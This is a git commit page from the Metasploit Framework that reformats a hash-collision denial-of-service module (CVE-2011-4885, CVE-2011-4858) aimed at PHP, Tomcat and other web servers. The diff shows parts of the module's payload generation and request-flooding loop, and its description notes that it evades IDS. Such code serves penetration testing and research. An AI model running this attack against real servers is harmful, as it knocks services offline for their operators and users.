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metasploit-framework
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Format correction

unstable
sinn3r 2012-05-15 19:21:16 -05:00
parent 3cd66402b7
commit 8428d16db3
1 changed files with 37 additions and 31 deletions
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34
modules/auxiliary/dos/http/hashcollision_dos.rb
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@ -20,17 +20,22 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Hashtable Collisions',
'Description' => %q{
A variety of programming languages suffer from a denial-of-service (DoS) condition against storage functions
of key/value pairs in hash data structures, the condition can be leveraged by exploiting predictable collisions
in the underlying hashing algorithms.
The issue finds particular exposure in web server applications and/or frameworks. In particular, the lack of
sufficient limits for the number of parameters in POST requests in conjunction with the predictable collision
properties in the hashing functions of the underlying languages can render web applications vulnerable to the
DoS condition. The attacker, using specially crafted HTTP requests, can lead to a 100% of CPU usage which can
last up to several hours depending on the targeted application and server performance, the amplification
effect is considerable and requires little bandwidth and time on the attacker side.
A variety of programming languages suffer from a denial-of-service (DoS) condition
against storage functions of key/value pairs in hash data structures, the
condition can be leveraged by exploiting predictable collisions in the underlying
hashing algorithms.
Tested with PHP + httpd, Tomcat, Glassfish, Geronimo. Generates a random Payload to bypass IDS.
The issue finds particular exposure in web server applications and/or frameworks.
In particular, the lack of sufficient limits for the number of parameters in POST
requests in conjunction with the predictable collision properties in the hashing
functions of the underlying languages can render web applications vulnerable to the
DoS condition. The attacker, using specially crafted HTTP requests, can lead to a
100% of CPU usage which can last up to several hours depending on the targeted
application and server performance, the amplification effect is considerable and
requires little bandwidth and time on the attacker side.
Tested with PHP + httpd, Tomcat, Glassfish, Geronimo. Generates a random Payload
to bypass IDS.
},
'Author' =>
[
@ -50,7 +55,8 @@ class Metasploit3 < Msf::Auxiliary
['CVE', '2011-4885'],
['CVE', '2011-4858']
],
'DisclosureDate'=> 'Dec 28 2011'))
'DisclosureDate'=> 'Dec 28 2011'
))
register_options(
[
@ -77,6 +83,7 @@ class Metasploit3 < Msf::Auxiliary
@recursivecounter = 1
collisionchars = compute_collision_chars
return nil if collisionchars == nil
length = datastore['payloadlength']
size = collisionchars.length
post = ""
@ -179,8 +186,7 @@ class Metasploit3 < Msf::Auxiliary
datastore['maxpayloadsize'] = 2
end
else
print_error("Target #{datastore['TARGET']} not supportec")
exit
raise RuntimeError, "Target #{datastore['TARGET']} not supported"
end
print_status("Generating Payload...")
@ -195,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Payload generated")
for x in 1..datastore['RLIMIT']
print_status("sending Request ##{x}...")
print_status("Sending Request ##{x}...")
opts = {
'method' => 'POST',
'uri' => datastore['URL'],